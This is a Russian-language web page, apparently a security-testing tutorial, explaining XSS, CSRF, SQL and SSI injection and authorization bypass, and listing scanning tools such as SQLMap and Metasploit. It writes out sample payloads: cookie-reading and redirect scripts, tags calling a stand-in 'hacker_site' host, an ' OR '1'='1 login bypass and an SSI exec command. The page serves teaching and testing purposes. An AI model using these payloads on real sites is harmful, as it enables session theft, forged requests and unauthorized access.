XSS (Cross-Site Scripting)




Сами по себе XSS атаки могут быть очень разнообразными. Злоумышленники могут попытаться украсть ваши куки, перенаправить вас на сайт, где произойдет более серьезная атака, загрузить в память какой-либо вредоносный объект и т.д., всего навсего разместив вредоносный скрипт у вас на сайте. Как пример, можно рассмотреть следующий скрипт, выводящий на экран ваши куки:

<script>alert(document.cookie);</script>

либо скрипт делающий редирект на зараженную страницу:

<script>window.parent.location.href='https://hacker_site';</script>

либо создающий вредоносный объект с вирусом и т.п.:

<object type="text/x-scriptlet" data="https://hacker_site"></object>

XSRF / CSRF (Request Forgery)

Наиболее частыми CSRF атаками являются атаки использующие HTML <IMG> тэг или Javascript объект image. Чаще всего атакующий добавляет необходимый код в электронное письмо или выкладывает на веб-сайт, таким образом, что при загрузке страницы осуществляется запрос, выполняющий вредоносный код. Примеры:

IMG SRC

<img src="https://hacker_site/?command">

SCRIPT SRC

<script src="https://hacker_site/?command">

Javascript объект Image

<script>

var foo = new Image();

foo.src = "https://hacker_site/?command";

</script>

Code injections (SQL, PHP, ASP и т.д.)

Вставки исполняемого кода рассмотрим на примере кода SQL.

Форма входа в систему имеет 2 поля - имя и пароль. Обработка происходит в базе данных через выполнение SQL запроса:

SELECT Username

FROM Users

WHERE Name = 'tester'

AND Password = 'testpass';

Вводим корректное имя ’tester’, а в поле пароль вводим строку:

testpass' OR '1'='1

В итоге, Если поле не имеет соответствующих валидаций или обработчиков данных, может вскрыться уязвимость, позволяющая зайти в защищенную паролем систему, т.к. SQL запрос примет следующий вид:

SELECT Username

FROM Users

WHERE Name = 'tester'

AND Password = 'testpass' OR '1'='1';

Условие '1'='1' всегда будет истинным и поэтому SQL запрос всегда будет возвращать много значений.

Server-Side Includes (SSI) Injection

В зависимости от типа операционной системы команды могут быть разными, как пример рассмотрим команду, которая выводит на экран список файлов в OS Linux:

<!--#exec cmd="ls" -->

Authorization Bypass

Пользователь А может получить доступ к документам пользователя Б. Допустим, есть реализация, где при просмотре своего профиля, содержащего конфиденциальную информацию, в URL страницы передается userID, а данном случае есть смысл попробовать подставить вместо своего userID номер другого пользователя. И если вы увидите его данные, значит вы нашли дефект.

Инструменты

Для автоматизации тестирования безопасности применяются специализированные средства – сканеры безопасности:

● XSpider, Zenmap, Metasploit – сетевые сканеры, для тестирования уязвимостей, присущих сетевой инфраструктуре.

● Acunetix Web Vulnerability Scanner, XSpider, MaxPatrol, инструментарий OWASP Live CD – специализированный набор инструментов для тестирования безопасности и логики работы web-приложения.

Для ручного и полуавтоматического тестирования безопасности на стороне клиента могут быть использованы:

● Intercepter-NG, WinDump, WireShark и др. – снифферы для перехвата и анализа сетевого траффика.

● FireBug, Web Developer – плагины для Firefox, которые можно использовать для изменения логики работы клиентской части приложения.

● Selenium-тесты для подсистемы безопасности.

Tamper Data – простой, быстрый и эффективный инструмент, который используется при проведении испытания на возможность проникновения в систему. Это расширение для браузеров, поэтому возможность возникновения проблемы с соединениями HTTPS, сертификатами подлинности клиента или другими особенностями, которые поддерживает браузер, практически исключается.

SkipFish - Бесплатный сканер безопасности с открытым кодом. Согласно описанию разработчика, утилита предназначена для проведения разведки на предмет защищённости тестируемого веб-приложения. Она создаёт интерактивную карту сайта с помощью рекурсивного и основанного на словарях анализе, после чего сканер применяет к полученным элементам различные проверки защищённости. По окончанию работ формируется отчёт для анализа результатов человеком.

Wapiti выполняет сканирование методом «чёрного ящика» и вводит полезные данные, чтобы проверить, уязвим ли сценарий. Обнаруживает такие уязвимости, как раскрытие файлов, включение файлов, межсайтовый скриптинг (XSS), слабую конфигурацию.htaccess и так далее.

SQLMap - Бесплатный сканер с открытым исходным кодом, главная задача которого автоматизированный поиск SQL уязвимостей. SQLMap позволяет не только обнаруживать уязвимости, но и при возможности эксплуатировать их.

RIPS — Сканер предназначен для отслеживания «узких» мест, статичного кода PHP, которые могут быть потенциально опасны,
и использованы для взлома приложения. Инструмент работает методом «белого ящика».

Вывод

Примеров уязвимостей и атак существует огромное количество. Даже проведя полный цикл тестирования безопасности, нельзя быть на 100% уверенным, что система по-настоящему обезопасена. Но можно быть уверенным в том, что процент несанкционированных проникновений, краж информации и потерь данных будет в разы меньше, чем у тех, кто не проводил тестирования безопасности.

При неограниченном времени и ресурсах хорошее тестирование безопасности взломает любую систему. Задача проектировщика системы — сделать цену проникновения более высокой, чем цена получаемой в результате информации.



Поделиться:




Поиск по сайту

©2015-2024 poisk-ru.ru
Все права принадлежать их авторам. Данный сайт не претендует на авторства, а предоставляет бесплатное использование.
Дата создания страницы: 2019-01-11 Нарушение авторских прав и Нарушение персональных данных


Поиск по сайту: